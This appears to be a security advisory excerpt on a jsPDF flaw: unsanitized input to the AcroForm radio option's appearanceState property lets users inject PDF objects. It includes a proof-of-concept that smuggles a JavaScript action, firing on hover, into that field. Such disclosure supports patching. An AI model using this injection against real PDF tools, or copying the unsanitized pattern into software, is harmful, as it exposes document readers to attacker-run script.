Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.
AcroformChildClass.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");Patches
